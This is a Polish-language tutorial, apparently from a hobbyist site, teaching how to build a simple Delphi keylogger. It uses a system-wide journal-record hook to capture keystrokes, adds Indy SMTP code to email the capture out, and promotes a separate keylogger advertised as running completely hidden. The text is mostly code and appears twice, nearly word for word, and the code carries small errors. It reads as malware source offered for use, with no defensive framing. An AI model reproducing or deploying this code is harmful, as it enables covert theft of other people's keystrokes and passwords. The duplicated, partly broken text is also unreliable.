Wielu z Was zadawało mi pytanie, JAK NAPISAĆ PROSTEGO KEYLOGGERA i jakiego języka do tego używać. Myślę, że ta lektura rozjaśni co niektórym pewne wątpliwości i raz na zawsze pytania typu: JAK ZROBIĆ KEYLOGGERA ?? się skończą ... (to tak na marginesie). Artykuł ten szczegółowo opisuje jak łatwo można w Delphi stworzyć własnego prostego keyloggera.
Zapraszam również na stronę poświęconą KEYLOGGEROM GHOSTXP: www.ghostxp.prv.pl
Chciałbym na samym początku wyjaśnić, że nie jest to kod źródłowy GhostXP, Keylogger GhostXP zbudowany jest na zupełnie innej platformie przechwytującej, przy zastosowaniu zupełnie innych komponentów. Program GhostXP pozbawiony jest wielu wad, działa zupełnie w ukryciu, a do tego stosuje specjalne mechanizmy, które tym artykule nie są przedstawione. W tym artykule zastosowano bardzo prostą i ubogą funkcję przechwytującą strumień danych pochodzących z klawiatury.
Budowa Keyloggera oraz funkcjnalność jest uzależniona tylko i wyłącznie od samego autora.
Jedni piszą, że lepszy jest Delphi niektórzy, że C++. Chodzi o to Moi Drodzy, że to nie ma znaczenia. Faktem jest, że C++ jest szybszy, natomiast składnia języka jest troszkę mniej przyswajalna. Delphi jest prostsze jeśli chodzi o składnię ale za to programy (duże programy) działają wolniej po kompilacji niż te, które napisane są w C++.
Keylogger jest programem zdecydowanie małym i nie ma znaczenia tak naprawdę, czy będzie napisany w szybszym C++ czy w wolniejszym Object Pascal (Delphi).
Ze względu na łatwość przyswajania zdecydowałem się pokazać kod prostego KEYLOGGERA w języku Object Pascal.
Prościej się nie da
Oto najprostszy sposób przechwytywania klawiatury przez program napisany w Delphi.
A oto prosta funkcja. Jest dosyć prymitywna i niedoskonała, pokazuje bowiem tylko WIELKIE LITERY, ale dla początkujących myślę, że będzie dobrą lekcją.
Od czego zacząć ??
oczywiście Uruchamiamy Delphi 7 Personal lub najbogatszego ENTERPRISE.
Czynności jakie musimy wykonać :
1. Forma powinna zawierać komponent TMemo (otwieramy nowy projekt, po czym wstawiamy na formę komponent TMemo).
2. W projekcie Pod sekcją "private" w sekcji "var" wprowadzamy nowe zmienne:
Var
Hook : Integer;
MessageBuffer :TEventMsg;
3. Klikamy 1 raz na formę i przechodzimy do okna Object Inspektor. W zakładce Ewents (zdarzenia) szukamy sekcji "OnDestroy" i klikamy 2x celem wprowadzenia kodu w procedurze, która bedzie wygladać mniej więcej tak:
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;
Następnie tworzymy funkcję ręcznie gdzieś w kodzie, najlepiej pod procedurą TForm1.FormDestroy(Sender: TObject);
// prosta Funkcja przechwytująca strumień danych TYLKO WIELKIE LITERY
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
Następnie również w Object Inspector i również w zakładce Events klikamy 2x na "OnCreate" i zbowu stworzy się na procedura o nazwie TForm1.FormCreate(Sender: TObject); . Dostosujmy ją by wygladała mniej więcej tak:
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;
BINGO !!! F9 (run)
JAK WYSŁAĆ E-MAIL za pomocą Delphi ??
Jest to banalnie proste jesli posiadamy komponenty Indy9 lub 10...(ENTERPRISE) jak nie masz to znajć w google.
Przeanalizuj sobie poniższy kod.
Wstawiamy na formę następujące komponenty : idMessage, idSMTP i tworzymy procedurę :
Procedure CostamCostam(Sender : TObject);
Begin
MessageSend.Body.Append('tresc maila'; // wprowadzasz treść jako TMemo.Text
MessageSend.From.Name := 'imie od kogo'; //od kogo
MessageSend.From.Address := 'adres od kogo'; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := 'Odbiorca'; //adres e-mail odbiorcy
MessageSend.Subject := 'temat'; //temat listu
{ UserName bądź UserId - to jest zeleżne od wersji Indy.}
SMTP.UserName := 'nazwa użytkownika serwera SMTP';
SMTP.Password := 'hasło';
SMTP.Host := 'adres serwera SMTP';
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;
BINGO
Wyjaśniam :
MessageSend to komponent : idMessage z zakładki IndyMisc
SMTP to idSMTP z zakladki IndyClients
Dobrze jest wstawić komponent idAntiFreeze aby program nie zatrzymywał się w momencie wysyłania poczty.
I tym własnie sposobem mamy najprostszego keyloggera.
POZDRAWIAM WSZYSTKICH.
Pytania i komentarze proszę umieszczać na forum.
Zapraszam również na stronę poświęconą KEYLOGGEROM GHOSTXP: www.ghostxp.prv.pl
Chciałbym na samym początku wyjaśnić, że nie jest to kod źródłowy GhostXP, Keylogger GhostXP zbudowany jest na zupełnie innej platformie przechwytującej, przy zastosowaniu zupełnie innych komponentów. Program GhostXP pozbawiony jest wielu wad, działa zupełnie w ukryciu, a do tego stosuje specjalne mechanizmy, które tym artykule nie są przedstawione. W tym artykule zastosowano bardzo prostą i ubogą funkcję przechwytującą strumień danych pochodzących z klawiatury.
Budowa Keyloggera oraz funkcjnalność jest uzależniona tylko i wyłącznie od samego autora.
Jedni piszą, że lepszy jest Delphi niektórzy, że C++. Chodzi o to Moi Drodzy, że to nie ma znaczenia. Faktem jest, że C++ jest szybszy, natomiast składnia języka jest troszkę mniej przyswajalna. Delphi jest prostsze jeśli chodzi o składnię ale za to programy (duże programy) działają wolniej po kompilacji niż te, które napisane są w C++.
Keylogger jest programem zdecydowanie małym i nie ma znaczenia tak naprawdę, czy będzie napisany w szybszym C++ czy w wolniejszym Object Pascal (Delphi).
Ze względu na łatwość przyswajania zdecydowałem się pokazać kod prostego KEYLOGGERA w języku Object Pascal.
Prościej się nie da
A oto prosta funkcja. Jest dosyć prymitywna i niedoskonała, pokazuje bowiem tylko WIELKIE LITERY, ale dla początkujących myślę, że będzie dobrą lekcją.
Od czego zacząć ??
oczywiście Uruchamiamy Delphi 7 Personal lub najbogatszego ENTERPRISE.
Czynności jakie musimy wykonać :
1. Forma powinna zawierać komponent TMemo (otwieramy nowy projekt, po czym wstawiamy na formę komponent TMemo).
2. W projekcie Pod sekcją "private" w sekcji "var" wprowadzamy nowe zmienne:
Var
Hook : Integer;
MessageBuffer :TEventMsg;
3. Klikamy 1 raz na formę i przechodzimy do okna Object Inspektor. W zakładce Ewents (zdarzenia) szukamy sekcji "OnDestroy" i klikamy 2x celem wprowadzenia kodu w procedurze, która bedzie wygladać mniej więcej tak:
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;
Następnie tworzymy funkcję ręcznie gdzieś w kodzie, najlepiej pod procedurą TForm1.FormDestroy(Sender: TObject);
// prosta Funkcja przechwytująca strumień danych TYLKO WIELKIE LITERY
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
Następnie również w Object Inspector i również w zakładce Events klikamy 2x na "OnCreate" i zbowu stworzy się na procedura o nazwie TForm1.FormCreate(Sender: TObject); . Dostosujmy ją by wygladała mniej więcej tak:
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;
BINGO !!! F9 (run)
JAK WYSŁAĆ E-MAIL za pomocą Delphi ??
Jest to banalnie proste jesli posiadamy komponenty Indy9 lub 10...(ENTERPRISE) jak nie masz to znajć w google.
Przeanalizuj sobie poniższy kod.
Wstawiamy na formę następujące komponenty : idMessage, idSMTP i tworzymy procedurę :
Procedure CostamCostam(Sender : TObject);
Begin
MessageSend.Body.Append('tresc maila'; // wprowadzasz treść jako TMemo.Text
MessageSend.From.Name := 'imie od kogo'; //od kogo
MessageSend.From.Address := 'adres od kogo'; //podajesz adres e-mail nadawcy
MessageSend.Recipients.EMailAddresses := 'Odbiorca'; //adres e-mail odbiorcy
MessageSend.Subject := 'temat'; //temat listu
{ UserName bądź UserId - to jest zeleżne od wersji Indy.}
SMTP.UserName := 'nazwa użytkownika serwera SMTP';
SMTP.Password := 'hasło';
SMTP.Host := 'adres serwera SMTP';
SMTP.AuthenticationType:=atLogin; // autoryzacja SMTP
SMTP.Connect;
try
SMTP.Send(MessageSend); //wyślij
finally
SMTP.Disconnect; //jeśli zakończy to rozłącz z serwerem
end;
end;
BINGO
Wyjaśniam :
MessageSend to komponent : idMessage z zakładki IndyMisc
SMTP to idSMTP z zakladki IndyClients
Dobrze jest wstawić komponent idAntiFreeze aby program nie zatrzymywał się w momencie wysyłania poczty.
I tym własnie sposobem mamy najprostszego keyloggera.
POZDRAWIAM WSZYSTKICH.
Pytania i komentarze proszę umieszczać na forum.